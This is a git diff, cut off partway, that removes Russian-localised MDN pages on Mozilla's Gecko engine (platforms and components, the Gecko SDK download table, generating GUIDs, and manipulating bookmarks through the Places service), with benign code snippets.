-<h3 id=".D0.9A.D0.B0.D0.BA.D0.B8.D0.B5_.D0.BF.D0.BB.D0.B0.D1.82.D1.84.D0.BE.D1.80.D0.BC.D1.8B_.D0.BF.D0.BE.D0.B4.D0.B4.D0.B5.D1.80.D0.B6.D0.B8.D0.B2.D0.B0.D0.B5.D1.82_Gecko_.3F">Какие платформы поддерживает Gecko ?</h3>
-<p>Сегодня Gecko поддерживает следующие платформы:</p>
-<ul> <li>Win32 (Windows 95, Windows 98, Windows NT 4, Windows 2000, Windows XP, Windows Vista - Gecko 1.9)</li> <li>Mac</li> <li>Linux</li>
-</ul>
-<p>Производители ПО и волонтёры участвующие в проекте mozilla.org переносят движок на другие платформы. Среди прочих, в процессе разработки находятся проекты по портированию Gecko на Solaris, HP/UX, AIX, Irix, OS/2, OpenVMS, BeOS, и Amiga.</p>
-<h3 id=".D0.9A.D0.B0.D0.BA.D0.BE.D0.B2.D1.8B_.D0.BE.D1.81.D0.BD.D0.BE.D0.B2.D0.BD.D1.8B.D0.B5_.D0.BA.D0.BE.D0.BC.D0.BF.D0.BE.D0.BD.D0.B5.D0.BD.D1.82.D1.8B_Gecko.3F">Каковы основные компоненты Gecko?</h3>
-<p>Движок состоит из следующих компонентов:</p>
-<ul> <li>Синтаксический анализатор (parser) для HTML и XML</li> <li>Движок для вёрстки (layout engine) с моделью контента (content model)</li> <li>Стилевая система (обрабатывает CSS)</li> <li>Интерпретатор JavaScript (<a href="/ru/SpiderMonkey" title="ru/SpiderMonkey">SpiderMonkey</a>)</li> <li>Графическая библиотека (image library)</li> <li>Сетевая библиотека (<a href="/ru/Necko" title="ru/Necko">Necko</a>)</li> <li>Набор виджетов и библиотек для визуализации графики, специфичных для платформы (Win32, X, и Mac)</li> <li>Библиотека для управления предпочтениями пользователей</li> <li>Mozilla Plug-in API (<a href="/ru/NPAPI" title="ru/NPAPI">NPAPI</a>), используемый для поддержки интерфейса плагинов для браузера Navigator</li> <li>Open Java Interface (OJI), с поддержкой виртуальной машины Java (JVM) компании Sun</li> <li>Внутренний интерфейс инфраструктуры описания ресурсов (<a href="/ru/RDF" title="ru/RDF">RDF</a>)</li> <li>Библиотека для отображения шрифтов</li> <li>Библиотека средств защиты (<a href="/ru/NSS" title="ru/NSS">NSS</a>)</li>
-</ul>
-<p>{{ languages( { "en": "en/Gecko_FAQ", "ja": "ja/Gecko_FAQ", "zh-cn": "cn/Gecko_FAQ" } ) }}</p>
diff --git a/files/ru/gecko_sdk/index.html b/files/ru/gecko_sdk/index.html
deleted file mode 100644
index 0a94f3412a..0000000000
--- a/files/ru/gecko_sdk/index.html
+++ /dev/null
@@ -1,110 +0,0 @@
----
-title: Gecko SDK
-slug: Gecko_SDK
-translation_of: Mozilla/Gecko/Gecko_SDK
----
-<h2 id="Overview" name="Overview">Overview</h2>
-<p>Gecko SDK, также известный как XULRunner SDK, представляет собой набор <a href="/en/XPIDL" title="en/XPIDL">XPIDL</a> файлов, заголовочных файлов и инструментов для разработки <a href="/en/XPCOM" title="en/XPCOM">XPCOM</a> компонентов, которые могут в свою очередь, например, быть доступны из <a href="/en/XUL" title="en/XUL">XUL</a> с использованием <a href="/en/JavaScript" title="en/JavaScript">JavaScript</a>.</p>
-<p>Note that in order to develop such components, you do not need the full sources of e.g. Firefox, since you do not access parts of the front end from within a component. Furthermore, since a component contains basic functionality, it is intended to run with every product of the Mozilla platform. Therefore it makes no sense to use a particular product to build general functionality. That's the reason why the Gecko SDK was devised.</p>
-<p>Do not confuse the Gecko/XULRunner SDK with <a href="/en/XULRunner" title="en/XULRunner">XULRunner</a> itself. The Gecko SDK is a collection of header files and tools used to develop general XPCOM components which add functionality to the existing platform, whereas XULRunner is a framework which can be used to run standalone or embedded applications based on the Mozilla framework.</p>
-<p>The Gecko SDK contains all of the necessary tools and headers for making scriptable NPAPI plugins including the xpidl compiler/linker and the latest <code>npapi.h</code>.</p>
-<h2 id="Get_the_SDK" name="Get_the_SDK">Get the SDK</h2>
-<h3 id="Updates" name="Updates">Updates</h3>
-<p>There is no need to download or rebuild the Gecko SDK corresponding to security updates of Mozilla (e.g., Mozilla 1.7.3) since the headers and glue libs in the Gecko SDK are usually not changed as a result of security updates. You <strong>do have to</strong> get and distribute the newest Gecko components (gklayout.dll etc.), though.</p>
-<h3 id="Downloading" name="Downloading">Downloading</h3>
-<p>For Gecko versions before 2.0, you should choose the Gecko SDK version for the earliest version of Mozilla you wish to target.  For Gecko versions 2.0 and higher, you must recompile your component for each release as cross-version compatibility is no longer supported.</p>
-<p>In addition to the below versions, you can find other versions (including Beta) here: <a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/" title="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/">Xulrunner Releases</a> (files include "sdk" in the name).  The SDK follows the same <a class="link-https" href="https://wiki.mozilla.org/Releases" title="https://wiki.mozilla.org/Releases">release schedule</a> as Firefox/Thunderbird.  Once the SDK enters Beta, it is suitable for building extensions; your component should work with release builds of the SDK without any modifications.  Due to the <a class="link-https" href="https://wiki.mozilla.org/RapidRelease#Overview" title="https://wiki.mozilla.org/RapidRelease#Overview">Rapid Release</a> process, it may be a good idea to target the SDK in Beta.</p>
-<table class="standard-table">
- <tbody>
- <tr>
- <th>Download Link</th>
- <th>Gecko 18.0.1 (Firefox 18.0.1)</th>
- <th>Gecko 1.9.2 (Firefox 3.6)</th>
- <th>Gecko 1.9.1 (Firefox 3.5)</th>
- <th>Gecko 1.9 (Firefox 3.0)</th>
- <th>Gecko 1.8 (Firefox 1.5 and 2.0)</th>
- </tr>
- <tr>
- <th>Windows</th>
- <td><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/18.0.1/sdk/xulrunner-18.0.1.en-US.win32.sdk.zip" title="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/18.0.1/sdk/xulrunner-18.0.1.en-US.win32.sdk.zip">Download</a></td>
- <td><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/3.6.28/sdk/xulrunner-3.6.28.en-US.win32.sdk.zip" title="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/3.6.28/sdk/xulrunner-3.6.28.en-US.win32.sdk.zip">Download</a></td>
- <td><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.9.1.19/sdk/xulrunner-1.9.1.19.en-US.win32.sdk.zip" title="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.9.1.19/sdk/xulrunner-1.9.1.19.en-US.win32.sdk.zip">Download</a></td>
- <td><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.9.0.17/sdk/xulrunner-1.9.0.17.en-US.win32.sdk.zip" title="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.9.0.17/sdk/xulrunner-1.9.0.17.en-US.win32.sdk.zip">Download</a></td>
- <td><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.8.0.4/sdk/gecko-sdk-win32-msvc-1.8.0.4.zip" title="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.8.0.4/sdk/gecko-sdk-win32-msvc-1.8.0.4.zip">Download</a></td>
- </tr>
- <tr>
- <th>Mac x86_64</th>
- <td><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/18.0.1/sdk/xulrunner-18.0.1.en-US.mac-x86_64.sdk.tar.bz2" title="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/18.0.1/sdk/xulrunner-18.0.1.en-US.mac-x86_64.sdk.tar.bz2">Download</a></td>
- <td>N/A</td>
- <td>N/A</td>
- <td>N/A</td>
- <td>N/A</td>
- </tr>
- <tr>
- <th>Mac i386</th>
- <td><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/18.0.1/sdk/xulrunner-18.0.1.en-US.mac-i386.sdk.tar.bz2" title="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/18.0.1/sdk/xulrunner-18.0.1.en-US.mac-i386.sdk.tar.bz2">Download</a></td>
- <td><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/3.6.28/sdk/xulrunner-3.6.28.en-US.mac-i386.sdk.tar.bz2" title="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/3.6.28/sdk/xulrunner-3.6.28.en-US.mac-i386.sdk.tar.bz2">Download</a></td>
- <td><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.9.1.19/sdk/xulrunner-1.9.1.19.en-US.mac-i386.sdk.tar.bz2" title="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.9.1.19/sdk/xulrunner-1.9.1.19.en-US.mac-i386.sdk.tar.bz2">Download</a></td>
- <td><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.9.0.17/sdk/xulrunner-1.9.0.17.en-US.mac-i386.sdk.tar.bz2" title="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.9.0.17/sdk/xulrunner-1.9.0.17.en-US.mac-i386.sdk.tar.bz2">Download</a></td>
- <td>N/A</td>
- </tr>
- <tr>
- <th>Mac ppc</th>
- <td>N/A</td>
- <td><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/3.6.28/sdk/xulrunner-3.6.28.en-US.mac-powerpc.sdk.tar.bz2" title="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/3.6.28/sdk/xulrunner-3.6.28.en-US.mac-powerpc.sdk.tar.bz2">Download</a></td>
- <td><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.9.1.19/sdk/xulrunner-1.9.1.19.en-US.mac-powerpc.sdk.tar.bz2" title="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.9.1.19/sdk/xulrunner-1.9.1.19.en-US.mac-powerpc.sdk.tar.bz2">Download</a></td>
- <td><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.9.0.17/sdk/xulrunner-1.9.0.17.en-US.mac-powerpc.sdk.tar.bz2" title="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.9.0.17/sdk/xulrunner-1.9.0.17.en-US.mac-powerpc.sdk.tar.bz2">Download</a></td>
- <td><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.8.0.4/sdk/gecko-sdk-mac-1.8.0.4.zip" title="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.8.0.4/sdk/gecko-sdk-mac-1.8.0.4.zip">Download</a></td>
- </tr>
- <tr>
- <th>Linux x86_64</th>
- <td><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/18.0.1/sdk/xulrunner-18.0.1.en-US.linux-x86_64.sdk.tar.bz2" title="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/18.0.1/sdk/xulrunner-18.0.1.en-US.linux-x86_64.sdk.tar.bz2">Download</a></td>
- <td>N/A</td>
- <td>N/A</td>
- <td>N/A</td>
- <td>N/A</td>
- </tr>
- <tr>
- <th>Linux i686</th>
- <td><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/18.0.1/sdk/xulrunner-18.0.1.en-US.linux-i686.sdk.tar.bz2" title="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/18.0.1/sdk/xulrunner-18.0.1.en-US.linux-i686.sdk.tar.bz2">Download</a></td>
- <td><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/3.6.28/sdk/xulrunner-3.6.28.en-US.linux-i686.sdk.tar.bz2" title="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/3.6.28/sdk/xulrunner-3.6.28.en-US.linux-i686.sdk.tar.bz2">Download</a></td>
- <td><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.9.1.19/sdk/xulrunner-1.9.1.19.en-US.linux-i686.sdk.tar.bz2" title="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.9.1.19/sdk/xulrunner-1.9.1.19.en-US.linux-i686.sdk.tar.bz2">Download</a></td>
- <td><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.9.0.17/sdk/xulrunner-1.9.0.17.en-US.linux-i686.sdk.tar.bz2" title="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.9.0.17/sdk/xulrunner-1.9.0.17.en-US.linux-i686.sdk.tar.bz2">Download</a></td>
- <td><a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.8.0.4/sdk/gecko-sdk-i686-pc-linux-gnu-1.8.0.4.tar.bz2" title="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.8.0.4/sdk/gecko-sdk-i686-pc-linux-gnu-1.8.0.4.tar.bz2">Download</a></td>
- </tr>
- </tbody>
-</table>
-<p>The SDK is not officially released for other platforms; if you need it, you will probably need to build it yourself.</p>
-<p>Unpack the SDK tarball to some suitable location.</p>
-<h4 id="Issues_with_the_OS_X_SDK" name="Issues_with_the_OS_X_SDK">Issues with the OS X SDK</h4>
-<p>If you need to use the <code>xpidl</code> utility to compile IDL files on OS X, it's likely that you will receive a strange error when running the tool that looks something along the lines of this:</p>
-<pre>dyld: Library not loaded: /opt/local/lib/libintl.3.dylib
- Referenced from: /Users/varmaa/xulrunner-sdk/bin/./xpidl
- Reason: image not found
-Trace/BPT trap
-</pre>
-<p>Unfortunately, this is caused by a problem with the SDK build process which cannot currently be resolved (see Bugzilla bug #<a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=430274">430274</a>). To get around it, you'll need to first install MacPorts as outlined in the <a href="/En/Developer_Guide/Build_Instructions/Mac_OS_X_Prerequisites" title="en/Mac_OS_X_Build_Prerequisites">Mac OS X Build Prerequisites</a> and install <code>libidl</code> with it. On 64-bit versions of Mac OS X, you'll need to install <code>libidl</code> with the <code>+universal</code> flag.</p>
-<p>Once that's done, you should perform the following command:</p>
-<pre>ln -s /opt/local/lib/libintl.8.dylib /opt/local/lib/libintl.3.dylib</pre>
-<p>This should fix the problem.</p>
-<h3 id="Building_the_SDK" name="Building_the_SDK">Building the SDK</h3>
-<p>To build the SDK, you should build <a href="/en/XULRunner" title="en/XULRunner">XULRunner</a> (the Gecko SDK is built as part of the XULRunner build process, which is why it's sometimes called the XULRunner SDK). See the <a href="/En/Developer_Guide/Build_Instructions" title="en/Build_Documentation">Build Documentation</a> for complete details. After the XULRunner build is complete running <code>make sdk</code> from your object directory will create a package of the sdk in <code>dist</code>.</p>
-<h2 id="Contents_of_the_SDK" name="Contents_of_the_SDK">Contents of the SDK</h2>
-<p>The SDK contains the following:</p>
-<ul>
- <li>1.9.2</li>
- <li>IDL files for frozen interfaces (under <code>idl/</code>)</li>
- <li>Header files for frozen interfaces, XPCOM functions, and NSPR functions (under <code>include/</code>)</li>
- <li>Import libraries or shared libraries (under <code>lib/</code>)</li>
- <li>Static utility libraries (under <code>lib/</code>)</li>
- <li>Various tools (under <code>bin/</code>)</li>
-</ul>
-<p>For more information about safely linking XPCOM components using the XPCOM "glue" library, see <a href="/en/XPCOM_Glue" title="en/XPCOM_Glue">XPCOM Glue</a>.</p>
-<h2 id="Resources" name="Resources">Using the Mozilla Build System with the SDK</h2>
-<p>It's possible to use the <a class="internal" href="/Talk:en/Creating_Custom_Firefox_Extensions_with_the_Mozilla_Build_System" title="Talk:En/Creating Custom Firefox Extensions with the Mozilla Build System">Mozilla Build System</a> with the SDK. This can be done by downloading the source code for Firefox and using the <code>--with-libxul-sdk</code> option to <code>configure</code>.</p>
-<h2 id="Resources" name="Resources">Resources</h2>
-<ul>
- <li><a href="/User:Andywang/xpidl" title="User:Andywang/xpidl">static xpidl.exe</a> (non-official) If you are looking for a static linked xpidl.exe, you can download here.</li>
- <li><a class="external" href="http://www.oxymoronical.com/view/1114">Mac Intel Gecko 1.8 SDK</a> The official Mac 1.8 SDK is a ppc version. This is an unofficial intel build.</li>
-</ul>
-<p>{{ languages( { "zh-cn": "cn/Gecko_SDK", "fr": "fr/SDK_Gecko", "ja": "ja/Gecko_SDK" } ) }}</p>
diff --git a/files/ru/generating_guids/index.html b/files/ru/generating_guids/index.html
deleted file mode 100644
index c618a7d72c..0000000000
--- a/files/ru/generating_guids/index.html
+++ /dev/null
@@ -1,75 +0,0 @@
----
-title: Генерация GUID'ов
-slug: Generating_GUIDs
-translation_of: Mozilla/Tech/XPCOM/Generating_GUIDs
----
-<p><strong>GUID</strong>s are used in Mozilla programming for identifying several types of entities, including XPCOM <a href="/en-US/docs/Interfaces">Interfaces</a> (this type of GUIDs is callled IID), components (CID), and legacy add-ons—like <a href="/en-US/docs/Extensions">extensions</a> and <a href="/en-US/docs/Themes">themes</a>—that were created prior to Firefox 1.5. <a href="/en-US/docs/Install_Manifests#id">Add-ons can (and should) be identified with IDs of the form <code><var>extensionname</var>@<var>organization</var>.<var>tld</var></code></a> since <a href="/en-US/docs/Firefox_1.5_for_developers">Firefox 1.5</a>.</p>
-<p></p><div class="blockIndicator warning">
- <p><strong>Предупреждение:</strong> If you just want an ID for your add-on, generating a GUID is almost definitely not what you want to do. Using the <code><var>extensionname</var>@<var>organization</var>.<var>tld</var></code> form is approximately one thousand times easier for everyone involved. Don't have a domain name? Do you have a blog on a subdomain? Use that. If all else fails, using <code><var>extensionname</var>@<var>yourusername</var>.addons.mozilla.org</code> should be fine; no one will care. Remember, these are identifiers, not e-mail addresses, and they're never resolved.</p>
-</div><p></p>
-<h2 id="Canonical_form" name="Canonical_form">Canonical form</h2>
-<p>The common form of a GUID is <code>xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx</code>, where each <code>x</code> stands for a hexadecimal digit. There are a number of tools that can be used to generate a GUID in the canonical form.</p>
-<div class="note">
- <p><strong>Note:</strong> If you do choose to use an email-style ID for your add-on, you probably don't want it to be a real email address, since it might attract spam.</p>
-</div>
-<h3 id="Online_tools" name="Online_tools">Online tools</h3>
-<ul>
- <li><a href="http://www.somacon.com/p113.php">Генерация GUID онлайн</a></li>
- <li><a href="http://www.famkruithof.net/uuid/uuidgen">UUID (GUID) Generator on the WEB</a></li>
- <li><a href="http://mozilla.pettay.fi/cgi-bin/mozuuid.pl">Генератор UUID для Mozilla Code</a> (две формы IDL и C++.h)</li>
- <li>Вы можете получить GUID с помощью одного из ботов (например: botbot, firebot) в IRC на канале <a class="link-irc" href="irc://irc.mozilla.org/firefox">#firefox</a> с помощью команды <code>/msg ник_бота </code>"uuid".</li>
-</ul>
-<h3 id="Windows" name="Windows">Windows</h3>
-<p>Пользвоатели Windows могут использовать утилиту <a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=94551F58-484F-4A8C-BB39-ADB270833AFC&amp;displaylang=en">GuidGen</a> от Microsoft для получения GUID. (Эта утилита является частью MS Visual C++)</p>
-<h3 id="Linux" name="Linux">Linux</h3>
-<p>Используйте <code>/usr/bin/uuidgen</code>. Является частью пакета <code>libuuid1</code> (Debian).</p>
-<h3 id="Mac_OS_X">Mac OS X</h3>
-<p><code>Используйте<code> </code>/usr/bin/uuidgen</code>.</p>
-<h3 id="Perl" name="Perl">Perl</h3>
-<ul>
- <li><a href="http://www.johnkeiser.com/mozilla/mozilla_tools.html">jkeiser's Mozilla tools</a> include a UUID generator with output format of both C++ and IDL style.</li>
- <li>sfink's <a href="http://people.mozilla.org/~sfink/uploads/update-uuids">update-uuids</a> will change the uuid for a given interface and all of its descendants, updating all *.idl files within a directory tree.</li>
-</ul>
-<h3 id="nsIUUIDGenerator" name="nsIUUIDGenerator">nsIUUIDGenerator</h3>
-<p>A UUID can be generated from privileged Mozilla code using <code><a href="/en-US/docs/XPCOM_Interface_Reference/nsIUUIDGenerator">nsIUUIDGenerator</a></code>. See the linked page for details.</p>
-<h2 id="COM.2FXPCOM_format" name="COM.2FXPCOM_format">Формат COM/XPCOM</h2>
-<p>Используя <code>#define</code> для IID и CID в коде Mozilla C++, вы должны использовать следующий формат:</p>
-<pre>// xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx
-#define NS_...ID \
-{ 0xXXXXXXXX, 0xXXXX, 0xXXXX, \
- { 0xXX, 0xXX, 0xXX, 0xXX, 0xXX, 0xXX, 0xXX, 0xXX } }
-</pre>
-<p>You can generate code in this format using one of the following tools.</p>
-<h3 id="Online_tools_2" name="Online_tools_2">Онлайн утилита</h3>
-<ul>
- <li><a href="http://mozilla.pettay.fi/cgi-bin/mozuuid.pl" rel="freelink">http://mozilla.pettay.fi/cgi-bin/mozuuid.pl</a></li>
-</ul>
-<h3 id="guidgen" name="guidgen">guidgen</h3>
-<p><code>guidgen.exe</code>, часть Microsoft Visual Studio, может генерировать UUID в нужном формате.</p>
-<h3 id="bash" name="bash">bash</h3>
-<p>Можете добавить в файл <code>.bashrc</code> следующий код:</p>
-<pre>uuidgen-c++()
-{
- local UUID=$(uuidgen)
- echo "// $UUID"
- echo "#define NS__IID \\"
- echo "{ 0x${UUID:0:8}, 0x${UUID:9:4}, 0x${UUID:14:4}, \\"
- echo -n " { 0x${UUID:19:2}, 0x${UUID:21:2}, 0x${UUID:24:2}, "
- echo -n "0x${UUID:26:2}, 0x${UUID:28:2}, 0x${UUID:30:2}, "
- echo "0x${UUID:32:2}, 0x${UUID:34:2} } }"
-}
-</pre>
-<h3 id="Perl_2" name="Perl_2">Perl</h3>
-<pre>#!/usr/bin/perl
-$uuid = `uuidgen`;
-chomp $uuid;
-print $uuid, "\n";
-@parts = ($uuid =~ /^(.{8})-(.{4})-(.{4})-(..)(..)-(..)(..)(..)(..)(..)(..)$/);
-print "{ 0x$parts[0], 0x$parts[1], 0x$parts[2], \\", "\n", " { ";
-for (3 .. 9) {
- print "0x$parts[$_], ";
-}
-print "0x$parts[10] } }", "\n";
-</pre>
-<div id="cke_pastebin" style="position: absolute; top: 762.5px; width: 1px; height: 1px; overflow: hidden; left: -1000px;">
-  </div>
diff --git a/files/ru/manipulating_bookmarks_using_places/index.html b/files/ru/manipulating_bookmarks_using_places/index.html
deleted file mode 100644
index 6c48d73137..0000000000
--- a/files/ru/manipulating_bookmarks_using_places/index.html
+++ /dev/null
@@ -1,109 +0,0 @@
----
-title: Манипулирование Закладками используя Службу
-slug: Manipulating_bookmarks_using_Places
-translation_of: Mozilla/Tech/Places/Manipulating_bookmarks_using_Places
----
-<div class="noinclude">
- <p></p>
-</div>
-<p>The Places bookmarks service, provided by the <code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsINavBookmarksService" title="">nsINavBookmarksService</a></code> interface, provides methods for creating, deleting, and manipulating bookmarks and bookmark folders. This article offers examples for how to perform common bookmark management tasks using the bookmarks service.</p>
-<h3 id="Initiating_the_bookmarks_service" name="Initiating_the_bookmarks_service">Initiating the bookmarks service</h3>
-<p>As is the case with nearly all interfaces, before you can use the bookmarks service, you need to get access to it:</p>
-<pre class="eval">var bmsvc = Components.classes["@mozilla.org/browser/nav-bookmarks-service;1"]
- .getService(Components.interfaces.nsINavBookmarksService);
-</pre>
-<h3 id="Creating_a_bookmark_folder" name="Creating_a_bookmark_folder">Creating a bookmark folder</h3>
-<p>Creating a new bookmark folder is done using the <code><a href="https://developer.mozilla.org/ru/docs/XPCOM_Interface_Reference/nsINavBookmarksService#createFolder()">nsINavBookmarksService.createFolder()</a></code> method. For example, to create a new folder in the Bookmarks menu:</p>
-<pre class="eval">var menuFolder = bmsvc.bookmarksMenuFolder; // Bookmarks menu folder
-var newFolderId = bmsvc.createFolder(menuFolder, "Folder name here", bmsvc.DEFAULT_INDEX);
-</pre>
-<p>This code locates the Bookmarks menu's folder, then creates a new folder named "Folder name here" in it. Specifying DEFAULT_INDEX as the index at which to insert the new folder places it at the end of the list.</p>
-<p>You can easily change this code to insert the new folder into the bookmarks toolbar by changing <code>bookmarksMenuFolder</code> to <a class="internal" href="/en/nsINavBookmarksService#Attributes" title="en/nsINavBookmarksService#Attributes">another folder attribute</a>.</p>
-<h3 id="Creating_a_new_bookmark" name="Creating_a_new_bookmark">Creating a new bookmark</h3>
-<p>To create a new bookmark, use the <code><a href="https://developer.mozilla.org/ru/docs/XPCOM_Interface_Reference/nsINavBookmarksService#insertBookmark()">nsINavBookmarksService.insertBookmark()</a></code> method. The URI for the bookmark needs to be specified using an <code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIURI" title="">nsIURI</a></code> object.</p>
-<pre class="eval">var ios = Components.classes["@mozilla.org/network/io-service;1"]
- .getService(Components.interfaces.nsIIOService);
-var uri = ios.newURI(<span class="nowiki">"http://google.com/"</span>, null, null);
-var newBkmkId = bmsvc.insertBookmark(newFolderId, uri, bmsvc.DEFAULT_INDEX, "");
-</pre>
-<p>This example instantiates the <code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIIOService" title="">nsIIOService</a></code> and uses it to create an <code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIURI" title="">nsIURI</a></code> referring to the Google web site, then calls <code><a href="https://developer.mozilla.org/ru/docs/XPCOM_Interface_Reference/nsINavBookmarksService#insertBookmark()">nsINavBookmarksService.insertBookmark()</a></code> to create a new bookmark to Google, placing it at the end of the bookmarks folder referenced by <code>newBkmkId</code>.</p>
-<h3 id="Finding_bookmark_items" name="Finding_bookmark_items">Finding bookmark items</h3>
-<p>If you know the URI of a site and wish to find all bookmarks that link to it, you can use the <code><a href="https://developer.mozilla.org/ru/docs/XPCOM_Interface_Reference/nsINavBookmarksService#getBookmarkIdsForURI()">nsINavBookmarksService.getBookmarkIdsForURI()</a></code> method.</p>
-<pre class="eval">var ios = Components.classes["@mozilla.org/network/io-service;1"]
- .getService(Components.interfaces.nsIIOService);
-var uri = ios.newURI(<span class="nowiki">"http://google.com/"</span>, null, null);
-var bookmarksArray = bmsvc.getBookmarkIdsForURI(uri, {});
-</pre>
-<p>After executing this code, the array &lt;tt&gt;bookmarksArray&lt;/tt&gt; contains the IDs of all bookmarks that refer to the specified URI (in this case, <span class="nowiki">"http://google.com"</span>).</p>
-<h3 id="Manipulating_existing_items" name="Manipulating_existing_items">Manipulating existing items</h3>
-<p>There are a number of convenient methods you can use to make changes to existing bookmarks and bookmark folders. This section covers some of them.</p>
-<h4 id="The_item_title" name="The_item_title">The item title</h4>
-<p>To change the title of a bookmark or bookmark folder, you use the <code><a href="https://developer.mozilla.org/ru/docs/XPCOM_Interface_Reference/nsINavBookmarksService#setItemTitle()">nsINavBookmarksService.setItemTitle()</a></code> method.</p>
-<pre class="eval">bmsvc.setItemTitle(newBkmkId, "New title");
-</pre>
-<p>This sets the title of the item referenced by the ID <code>newBkmkId</code> to "New title".</p>
-<p>You can fetch the current title of an item using the <code><a href="https://developer.mozilla.org/ru/docs/XPCOM_Interface_Reference/nsINavBookmarksService#getItemTitle()">nsINavBookmarksService.getItemTitle()</a></code> method:</p>
-<pre class="eval">var thisTitle = bmsvc.getItemTitle(newBkmkId);
-</pre>
-<p>This code will display an alert containing the title of the item referenced by the ID <code>newBkmkId</code>.</p>
-<h4 id="The_item_URI" name="The_item_URI">The item URI</h4>
-<p>Similarly, you can obtain the URI corresponding to a given bookmark item by calling the <code><a href="https://developer.mozilla.org/ru/docs/XPCOM_Interface_Reference/nsINavBookmarksService#getBookmarkURI()">nsINavBookmarksService.getBookmarkURI()</a></code> method.</p>
-<pre class="eval">var thisURI = bmsvc.getBookmarkURI(newBkmkId);
-</pre>
-<p>Assuming you've run all the code samples previous to this one, this will output <span class="nowiki">"http://google.com"</span>.</p>
-<p>You can use the <code><a href="https://developer.mozilla.org/ru/docs/XPCOM_Interface_Reference/nsINavBookmarksService#changeBookmarkURI()">nsINavBookmarksService.changeBookmarkURI()</a></code> method to update the URI for a given bookmark item:</p>
-<pre class="eval">var uri = ios.newURI(<span class="nowiki">"http://mozilla.com/"</span>, null, null);
-bmsvc.changeBookmarkURI(newBkmkId, uri);
-</pre>
-<p>This example changes the bookmark to refer to the Mozilla web site instead of Google.</p>
-<p></p><div class="blockIndicator note"><strong>Примечание:</strong> All annotations, tags, and so forth are kept when the bookmark's URI is changed.</div><p></p>
-<h3 id="Checking_to_see_if_a_URI_is_bookmarked" name="Checking_to_see_if_a_URI_is_bookmarked">Checking to see if a URI is bookmarked</h3>
-<p>If you want to see if a given URI is already bookmarked -- for example, to avoid creating a new bookmark for a site that's already bookmarked -- you can use the <code><a href="https://developer.mozilla.org/ru/docs/XPCOM_Interface_Reference/nsINavBookmarksService#isBookmarked()">nsINavBookmarksService.isBookmarked()</a></code> method.</p>
-<pre class="eval">var ios = Components.classes["@mozilla.org/network/io-service;1"]
- .getService(Components.interfaces.nsIIOService);
-var uri = ios.newURI(<span class="nowiki">"http://mozilla.com/"</span>, null, null);
-if (!bmsvc.isBookmarked(uri)) {
- bmsvc.insertBookmark(bmsvc.toolbarFolder, uri, bmsvc.DEFAULT_INDEX, "Mozilla");
-}
-</pre>
-<p>This example looks to see if the user already has a bookmark for the Mozilla web site, and, if not, creates one, adding it to the user's bookmarks toolbar.</p>
-<h3 id="Finding_the_folder_containing_an_item" name="Finding_the_folder_containing_an_item">Finding the folder containing an item</h3>
-<p>If you need to know what folder contains an item (this can be especially handy after using <code><a href="https://developer.mozilla.org/ru/docs/XPCOM_Interface_Reference/nsINavBookmarksService#getBookmarkIdsForURI()">nsINavBookmarksService.getBookmarkIdsForURI()</a></code> to find bookmarks for a given URI), you can use the <code><a href="https://developer.mozilla.org/ru/docs/XPCOM_Interface_Reference/nsINavBookmarksService#getFolderIdForItem()">nsINavBookmarksService.getFolderIdForItem()</a></code> method.</p>
